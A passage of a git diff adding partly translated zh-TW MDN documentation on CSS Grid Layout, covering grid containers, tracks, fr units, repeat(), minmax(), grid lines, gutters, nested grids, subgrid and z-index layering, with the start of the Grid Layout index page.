+<p>數個單位也能被放進 grid cell、或是區域的一部分相互重疊。我們可以透過 {{cssxref("z-index")}} 控制該分層。</p>
+
+<p>格線是個強大的規範、它在與諸如<a href="/zh-TW/docs/Web/CSS/CSS_Flexible_Box_Layout">彈性盒子</a>之類的 CSS 結合時，也有助於用 CSS 建立前所尚未有的排版。一切都建立要從建立<strong>格線容器</strong>（grid container）開始。</p>
+
+<h2 id="格線容器">格線容器</h2>
+
+<p>我們會宣告 <code>display: grid</code> 或 <code>display: inline-grid</code> 來給一個元素建立格線容器（<em>grid container</em>）。宣告以後，該元素的所有<em>直接子元素</em>會變成<em>格線單位</em>（grid item）</p>
+
+<p>本例中，我有個稱作 wrapper class 的 div，裡面有五個元素。</p>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+   &lt;div&gt;One&lt;/div&gt;
+   &lt;div&gt;Two&lt;/div&gt;
+   &lt;div&gt;Three&lt;/div&gt;
+   &lt;div&gt;Four&lt;/div&gt;
+   &lt;div&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>接著我讓 <code>.wrapper</code> 變成格線容器（grid container）。</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('The_Grid_container', '200', '330') }}</p>
+
+<p>在它下面的直接子元素，現在都是格線單元了。從網路瀏覽器來看，各單元變成格線的前後，似乎沒什麼不同，因為目前格線只有建立一個格線列，來放所有的格線單元。這時候，你會發現<a href="/zh-TW/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">格線檢測器</a>相當好用。如果在 Firefox 檢查這個示例的格線，你會發現在 <code>grid</code> 值旁邊，有一個小圖標。點選這個小圖標，瀏覽器視窗的元素，就會被一個圖層覆蓋。</p>
+
+<p><img alt="Using the Grid Highlighter in DevTools to view a grid" src="https://mdn.mozillademos.org/files/14631/1-grid-inspector.png" style="height: 753px; width: 900px;"></p>
+
+<p>在理解並與 CSS 格線共事時，這個工具能幫你視覺化理解，格線到底怎麼做動的。</p>
+
+<p>如果要開始把做得更像格線，我們還需要多寫個 column track。</p>
+
+<h2 id="格線軌道（Grid_Track）">格線軌道（Grid Track）</h2>
+
+<p>我們在格線裡透過 {{cssxref("grid-template-columns")}} 與 {{cssxref("grid-template-rows")}} 屬性定義了行與列。它們也定義了格線軌道。<em>格線軌道</em>是在格線的兩個欄位之間的空隙。下圖就會看到軌道的高亮：就在格線裡面的第一行。</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14637/1_Grid_Track.png" style="height: 261px; width: 392px;"></p>
+
+<p>I can add to our earlier example by adding the <code>grid-template-columns</code> property, then defining the size of the column tracks.</p>
+
+<p>I have now created a grid with three 200-pixel-wide column tracks. The child items will be laid out on this grid one in each grid cell.</p>
+
+<div id="grid_first">
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+   &lt;div&gt;One&lt;/div&gt;
+   &lt;div&gt;Two&lt;/div&gt;
+   &lt;div&gt;Three&lt;/div&gt;
+   &lt;div&gt;Four&lt;/div&gt;
+   &lt;div&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: 200px 200px 200px;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+.nested {
+    border: 2px solid #ffec99;
+    border-radius: 5px;
+    background-color: #fff9db;
+    padding: 1em;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('grid_first', '610', '200') }}</p>
+</div>
+
+<h3 id="fr_單位">fr 單位</h3>
+
+<p>格線軌道可以使用任何單位定義，不過格線引入了額外的單位，以助於建立有彈性的格線軌道。新的單位 <code>fr</code> 代表格線容器內，可用空間的分塊（fraction）。接下來的格線定義，會建立三個同等、且能依照可用空間縮放的長度軌道。</p>
+
+<div id="fr_unit_ls">
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+   &lt;div&gt;One&lt;/div&gt;
+   &lt;div&gt;Two&lt;/div&gt;
+   &lt;div&gt;Three&lt;/div&gt;
+   &lt;div&gt;Four&lt;/div&gt;
+   &lt;div&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: 1fr 1fr 1fr;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+.nested {
+    border: 2px solid #ffec99;
+    border-radius: 5px;
+    background-color: #fff9db;
+    padding: 1em;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('fr_unit_ls', '220', '180') }}</p>
+</div>
+
+<p>接著下例將創建有一個 <code>2fr</code> 的軌道，接著還有兩個 <code>1fr</code> 的軌道。可用空間會因此被分為四塊：其中兩塊給第一個軌道、剩下兩塊給兩個軌道各一個。</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: 2fr 1fr 1fr;
+}
+</pre>
+
+<p>最後，我們會把分塊與絕對大小做結合。第一個軌道有 500 像素，這個固定的寬度，會因此從可用空間先割一塊出去。接下來的空間會被劃分為三塊，並按比例指派給剩下的彈性軌道。</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: 500px 1fr 2fr;
+}
+</pre>
+
+<h3 id="Track_listings_with_repeat_notation">Track listings with <code>repeat()</code> notation</h3>
+
+<p>含有許多軌道的格線能用 <code>repeat()</code> 標記，以使軌道透過迴圈表列數次。以下面為例：</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: 1fr 1fr 1fr;
+}
+</pre>
+
+<p>這可以寫成：</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+}
+</pre>
+
+<p>重複標記是軌道表列一部分。下例中，我們建立了有 20 像素的軌道，接著重複 <code>1fr</code> 軌道六次，最後以 20 像素的軌道做結。</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: 20px repeat(6, 1fr) 20px;
+}
+</pre>
+
+<p>重複標記使用軌道表列，因此可以用它來建立重複的模式。下個例子的格線，會包含十個軌道：也就是 <code>1fr</code> 後面有 <code>2fr</code> 的軌道，並重複五次。</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(5, 1fr 2fr);
+}
+</pre>
+
+<h3 id="明式與暗式格線">明式與暗式格線</h3>
+
+<p>在建立上例格線的時候，我們用 {{cssxref("grid-template-columns")}} 屬性指定了列軌道，但格線自己也建立了一行。相較於使用 {{cssxref("grid-template-columns")}} 或 {{cssxref("grid-template-rows")}} 屬性的明式格線（explicit grid），這幾行就屬於暗式格線（implicit grid）。</p>
+
+<p>你也能在暗式格線內透過 {{cssxref("grid-auto-rows")}} 與 {{cssxref("grid-auto-columns")}} 屬性，給軌道定義一套大小。</p>
+
+<p>下例將使用 <code>grid-auto-rows</code> 以確保由暗式格線建立的軌道，高度都會是 200 像素。</p>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+   &lt;div&gt;One&lt;/div&gt;
+   &lt;div&gt;Two&lt;/div&gt;
+   &lt;div&gt;Three&lt;/div&gt;
+   &lt;div&gt;Four&lt;/div&gt;
+   &lt;div&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: 200px;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+.nested {
+    border: 2px solid #ffec99;
+    border-radius: 5px;
+    background-color: #fff9db;
+    padding: 1em;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('The_implicit_and_explicit_grid', '210', '410') }}</p>
+
+<h3 id="軌道縮放與_minmax">軌道縮放與 <code>minmax()</code></h3>
+
+<p>在設定顯式格線或希望自動給軌道一個最小尺寸，但也要確保它們擴展以適應任何添加的內容——像是希望某行不能小於 100 像素以避免跑版，但如果內容高度超過 300 像素，該行就要拉到那麼高。</p>
+
+<p>針對這個情境，格線提供了 {{cssxref("minmax", "minmax()")}} 函式。本例中，我針對 {{cssxref("grid-auto-rows")}} 指定了 <code>minmax()</code> 的數值。它會指定高度最小要 100 像素，最大則是 <code>auto</code>。<code>auto</code> 意味著大小會檢查內容大小，並適配這一行 cell 內最高項目的高度。</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: minmax(100px, auto);
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div&gt;One&lt;/div&gt;
+  &lt;div&gt;Two
+  &lt;p&gt;I have some more content in.&lt;/p&gt;
+  &lt;p&gt;This makes me taller than 100 pixels.&lt;/p&gt;
+&lt;/div&gt;
+  &lt;div&gt;Three&lt;/div&gt;
+  &lt;div&gt;Four&lt;/div&gt;
+  &lt;div&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('Track_sizing_and_minmax()', '230', '490') }}</p>
+
+<h2 id="Grid_Lines">Grid Lines</h2>
+
+<p>It should be noted that when we define a grid we define the grid tracks, not the lines. Grid then gives us numbered lines to use when positioning items. In our three column, two row grid we have four column lines.</p>
+
+<p><img alt="Diagram showing numbered grid lines." src="https://mdn.mozillademos.org/files/14761/1_diagram_numbered_grid_lines.png" style="height: 456px; width: 764px;"></p>
+
+<p>Lines are numbered according to the writing mode of the document. In a left-to-right language, line 1 is on the left-hand side of the grid. In a right-to-left language, it is on the right-hand side of the grid. Lines can also be named, and we will look at how to do this in a later guide in this series.</p>
+
+<h3 id="Positioning_items_against_lines">Positioning items against lines</h3>
+
+<p>We will be exploring line based placement in full detail in a later article, the following example demonstrates doing this in a simple way. When placing an item we target the line – rather than the track.</p>
+
+<p>In the following example I am placing the first two items on our three column track grid, using the {{cssxref("grid-column-start")}}, {{cssxref("grid-column-end")}}, {{cssxref("grid-row-start")}} and {{cssxref("grid-row-end")}} properties. Working from left to right, the first item is placed against column line 1, and spans to column line 4, which in our case is the far right line on the grid. It begins at row line 1 and ends at row line 3, therefore spanning two row tracks.</p>
+
+<p>The second item starts on grid column line 1, and spans one track. This is the default so I do not need to specify the end line. It also spans two row tracks from row line 3 to row line 5. The other items will place themselves into empty spaces on the grid.</p>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+   &lt;div class="box1"&gt;One&lt;/div&gt;
+   &lt;div class="box2"&gt;Two&lt;/div&gt;
+   &lt;div class="box3"&gt;Three&lt;/div&gt;
+   &lt;div class="box4"&gt;Four&lt;/div&gt;
+   &lt;div class="box5"&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+    display: grid;
+    grid-template-columns: repeat(3, 1fr);
+    grid-auto-rows: 100px;
+}
+.box1 {
+    grid-column-start: 1;
+    grid-column-end: 4;
+    grid-row-start: 1;
+    grid-row-end: 3;
+}
+.box2 {
+    grid-column-start: 1;
+    grid-row-start: 3;
+    grid-row-end: 5;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+.nested {
+    border: 2px solid #ffec99;
+    border-radius: 5px;
+    background-color: #fff9db;
+    padding: 1em;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Positioning_items_against_lines', '220', '410') }}</p>
+
+<p>Don't forget that you can use the <a href="/zh-TW/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Grid Inspector</a> in Firefox Developer Tools to see how the items are positioned against the lines of the grid.</p>
+
+<h2 id="Grid_Cells">Grid Cells</h2>
+
+<p>A <em>grid cell</em> is the smallest unit on a grid, conceptually it is like a table cell. As we saw in our earlier examples, once a grid is defined on a parent the child items will lay themselves out once in each cell of the defined grid. In the below image I have highlighted the first cell of the grid.</p>
+
+<p><img alt="The first cell of the grid highlighted" src="https://mdn.mozillademos.org/files/14643/1_Grid_Cell.png" style="height: 233px; width: 350px;"></p>
+
+<h2 id="Grid_areas">Grid areas</h2>
+
+<p>Items can span one or more cells both by row or by column, and this creates a <em>grid area</em>. Grid areas have to be rectangular – it isn’t possible to create an L-shaped area for example. The highlighted grid area spans two row and two column tracks.</p>
+
+<p><img alt="A grid area" src="https://mdn.mozillademos.org/files/14645/1_Grid_Area.png" style="height: 238px; width: 357px;"></p>
+
+<h2 id="Gutters">Gutters</h2>
+
+<p><em>Gutters</em> or <em>alleys</em> between grid cells can be created using the {{cssxref("grid-column-gap")}} and {{cssxref("grid-row-gap")}} properties, or the shorthand {{cssxref("grid-gap")}}. In the below example I am creating a 10-pixel gap between columns and a <code>1em</code> gap between rows.</p>
+
+<pre class="brush: css">.wrapper {
+   display: grid;
+   grid-template-columns: repeat(3, 1fr);
+   grid-column-gap: 10px;
+   grid-row-gap: 1em;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+   &lt;div&gt;One&lt;/div&gt;
+   &lt;div&gt;Two&lt;/div&gt;
+   &lt;div&gt;Three&lt;/div&gt;
+   &lt;div&gt;Four&lt;/div&gt;
+   &lt;div&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+.nested {
+    border: 2px solid #ffec99;
+    border-radius: 5px;
+    background-color: #fff9db;
+    padding: 1em;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Gutters') }}</p>
+
+<p>Any space used by gaps will be accounted for before space is assigned to flexible length <code>fr</code> tracks, and gaps act for sizing purposes like a regular grid track, however you cannot place anything into a gap. In terms of line-based positioning, the gap acts like a fat line.</p>
+
+<h2 id="Nesting_grids">Nesting grids</h2>
+
+<p>A grid item can become a grid container. In the following example I have the three-column grid created earlier, with our two positioned items. In this case the first item has some sub-items. As these items are not direct children of the grid they do not participate in grid layout and so display in normal document flow.</p>
+
+<div id="nesting">
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+   &lt;div class="box box1"&gt;
+       &lt;div class="nested"&gt;a&lt;/div&gt;
+       &lt;div class="nested"&gt;b&lt;/div&gt;
+        &lt;div class="nested"&gt;c&lt;/div&gt;
+    &lt;/div&gt;
+    &lt;div class="box box2"&gt;Two&lt;/div&gt;
+    &lt;div class="box box3"&gt;Three&lt;/div&gt;
+    &lt;div class="box box4"&gt;Four&lt;/div&gt;
+    &lt;div class="box box5"&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p><img alt="Nested grid in flow" src="https://mdn.mozillademos.org/files/14641/1_Nested_Grids_in_flow.png" style="height: 512px; width: 900px;"></p>
+
+<p>If I set <code>box1</code> to <code>display: grid</code> I can give it a track definition and it too will become a grid, the items then lay out on this new grid.</p>
+
+<pre class="brush: css">.box1 {
+   grid-column-start: 1;
+   grid-column-end: 4;
+   grid-row-start: 1;
+   grid-row-end: 3;
+   display: grid;
+   grid-template-columns: repeat(3, 1fr);
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+.box {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+.nested {
+    border: 2px solid #ffec99;
+    border-radius: 5px;
+    background-color: #fff9db;
+    padding: 1em;
+}
+</pre>
+</div>
+</div>
+
+<p>{{ EmbedLiveSample('nesting', '600', '410') }}</p>
+
+<p>In this case the nested grid has no relationship to the parent. As you can see in the example it has not inherited the {{cssxref("grid-gap")}} of the parent and the lines in the nested grid do not align to the lines in the parent grid.</p>
+
+<h3 id="Subgrid">Subgrid</h3>
+
+<p>In the level 1 grid specification there is a feature called <em>subgrid</em> which would let us create nested grids that use the track definition of the parent grid.</p>
+
+<div class="note">
+<p>Subgrids are not yet implemented in any browsers, and the specification is subject to change.</p>
+</div>
+
+<p>In the current specification, we would edit the above nested grid example to use <code>display: subgrid</code> rather than <code>display: grid</code>, then remove the track definition. The nested grid will use the parent grid tracks to lay out items.</p>
+
+<p>It should be noted that the nested grid is in both dimensions—rows and columns. There is no concept of the implicit grid working with subgrids. This means you need to ensure that the parent grid has enough row and column tracks for all the subitems.</p>
+
+<pre class="brush: css">.box1 {
+   grid-column-start: 1;
+   grid-column-end: 4;
+   grid-row-start: 1;
+   grid-row-end: 3;
+   display: subgrid;
+}
+</pre>
+
+<h2 id="Layering_items_with_z-index">Layering items with <code>z-index</code></h2>
+
+<p>Grid items can occupy the same cell. If we return to our example with items positioned by line number, we can change this to make two items overlap.</p>
+
+<div id="l_ex">
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+   &lt;div class="box box1"&gt;One&lt;/div&gt;
+   &lt;div class="box box2"&gt;Two&lt;/div&gt;
+   &lt;div class="box box3"&gt;Three&lt;/div&gt;
+   &lt;div class="box box4"&gt;Four&lt;/div&gt;
+   &lt;div class="box box5"&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+   display: grid;
+   grid-template-columns: repeat(3, 1fr);
+   grid-auto-rows: 100px;
+}
+.box1 {
+   grid-column-start: 1;
+   grid-column-end: 4;
+   grid-row-start: 1;
+   grid-row-end: 3;
+}
+.box2 {
+   grid-column-start: 1;
+   grid-row-start: 2;
+   grid-row-end: 4;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+.box {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+.nested {
+    border: 2px solid #ffec99;
+    border-radius: 5px;
+    background-color: #fff9db;
+    padding: 1em;
+}
+</pre>
+</div>
+</div>
+
+<p>{{ EmbedLiveSample('l_ex', '210', '410') }}</p>
+
+<p>The item <code>box2</code> is now overlapping <code>box1</code>, it displays on top as it comes later in the source order.</p>
+
+<h3 id="Controlling_the_order">Controlling the order</h3>
+
+<p>We can control the order in which items stack up by using the <code>z-index</code> property - just as with positioned items. If we give <code>box2</code> a lower <code>z-index</code> than <code>box1</code> it will display below <code>box1</code> in the stack.</p>
+
+<pre class="brush: css">.wrapper {
+   display: grid;
+   grid-template-columns: repeat(3, 1fr);
+   grid-auto-rows: 100px;
+}
+.box1 {
+   grid-column-start: 1;
+   grid-column-end: 4;
+   grid-row-start: 1;
+   grid-row-end: 3;
+   z-index: 2;
+}
+.box2 {
+   grid-column-start: 1;
+   grid-row-start: 2;
+   grid-row-end: 4;
+   z-index: 1;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+    &lt;div class="box box1"&gt;One&lt;/div&gt;
+    &lt;div class="box box2"&gt;Two&lt;/div&gt;
+   &lt;div class="box box3"&gt;Three&lt;/div&gt;
+   &lt;div class="box box4"&gt;Four&lt;/div&gt;
+   &lt;div class="box box5"&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">* {box-sizing: border-box;}
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+.box {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+.nested {
+    border: 2px solid #ffec99;
+    border-radius: 5px;
+    background-color: #fff9db;
+    padding: 1em;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Controlling_the_order', '210', '410') }}</p>
+
+<h2 id="下一步">下一步</h2>
+
+<p>In this article we have had a very quick look through the Grid Layout Specification. Have a play with the code examples, and then move onto <a href="https://developer.mozilla.org/zh-TW/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">the next part of this guide where we will really start to dig into the detail of CSS Grid Layout</a>.</p>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/zh-TW/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/zh-TW/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/zh-TW/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+ <li data-default-state="open"><a href="#"><strong>Guides</strong></a>
+  <ol>
+   <li><a href="/zh-TW/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basics concepts of grid layout</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Properties</strong></a>
+  <ol>
+   <li><a href="/zh-TW/docs/Web/CSS/grid">grid</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/grid-area">grid-area</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/grid-column">grid-column</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/grid-gap">grid-gap</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/grid-row">grid-row</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/grid-template">grid-template</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Glossary</strong></a>
+  <ol>
+   <li><a href="/zh-TW/docs/Glossary/Grid">Grid</a></li>
+   <li><a href="/zh-TW/docs/Glossary/Grid_lines">Grid lines</a></li>
+   <li><a href="/zh-TW/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+   <li><a href="/zh-TW/docs/Glossary/Grid_cell">Grid cell</a></li>
+   <li><a href="/zh-TW/docs/Glossary/Grid_areas">Grid areas</a></li>
+   <li><a href="/zh-TW/docs/Glossary/Gutters">Gutters</a></li>
+   <li><a href="/zh-TW/docs/Glossary/Grid_Axis">Grid Axis</a></li>
+   <li><a href="/zh-TW/docs/Glossary/Grid_rows">Grid row</a></li>
+   <li><a href="/zh-TW/docs/Glossary/Grid_column">Grid column</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/zh-tw/web/css/css_grid_layout/index.html b/files/zh-tw/web/css/css_grid_layout/index.html
new file mode 100644
index 0000000000..0fd5616848
--- /dev/null
+++ b/files/zh-tw/web/css/css_grid_layout/index.html
@@ -0,0 +1,252 @@
+---
+title: CSS格線布局
+slug: Web/CSS/CSS_Grid_Layout
+tags:
+  - CSS
+  - 參考
+  - 布局
+  - 柵格
+  - 示列
+  - 網格布局
+translation_of: Web/CSS/CSS_Grid_Layout
+---
+<p><strong>CSS 格線佈局</strong>長於把頁面的主要區域分離、或是在 HTML 原生語法構建的區域間，定義大小、位置、層次等方面的關聯。</p>
+
+<p>格線佈局使作者能夠對齊元素為行和列，就像表格一樣，。然而，格線佈局可以更輕易的達成比一般表格更多元化的排版。例如，一個網格容器的子元素可以定位自己和層重疊，類似於CSS定位元素。</p>
+
+<h2 id="Basic_Example" name="Basic_Example">基本示例</h2>
+
+<p>以下示例展示了一個三列軌道格線，其中創建的行數最小為 100 像素，最大為 auto。Items 已經使用基於線放置在網格的位置上。</p>
+
+<div id="example">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+.wrapper {
+  max-width: 940px;
+  margin: 0 auto;
+}
+
+.wrapper &gt; div {
+  border: 2px solid rgb(233,171,88);
+  border-radius: 5px;
+  background-color: rgba(233,171,88,.5);
+  padding: 1em;
+  color: #d9480f;
+}</pre>
+</div>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="one"&gt;One&lt;/div&gt;
+  &lt;div class="two"&gt;Two&lt;/div&gt;
+  &lt;div class="three"&gt;Three&lt;/div&gt;
+  &lt;div class="four"&gt;Four&lt;/div&gt;
+  &lt;div class="five"&gt;Five&lt;/div&gt;
+  &lt;div class="six"&gt;Six&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-gap: 10px;
+  grid-auto-rows: minmax(100px, auto);
+}
+.one {
+  grid-column: 1 / 3;
+  grid-row: 1;
+}
+.two {
+  grid-column: 2 / 4;
+  grid-row: 1 / 3;
+}
+.three {
+  grid-row: 2 / 5;
+  grid-column: 1;
+}
+.four {
+  grid-column: 3;
+  grid-row: 3;
+}
+.five {
+  grid-column: 2;
+  grid-row: 4;
+}
+.six {
+  grid-column: 3;
+  grid-row: 4;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('example', '500', '440') }}</p>
+</div>
+
+<h2 id="參考">參考</h2>
+
+<h3 id="CSS_屬性">CSS 屬性</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("grid-template-columns")}}</li>
+ <li>{{cssxref("grid-template-rows")}}</li>
+ <li>{{cssxref("grid-template-areas")}}</li>
+ <li>{{cssxref("grid-template")}}</li>
+ <li>{{cssxref("grid-auto-columns")}}</li>
+ <li>{{cssxref("grid-auto-rows")}}</li>
+ <li>{{cssxref("grid-auto-flow")}}</li>
+ <li>{{cssxref("grid")}}</li>
+ <li>{{cssxref("grid-row-start")}}</li>
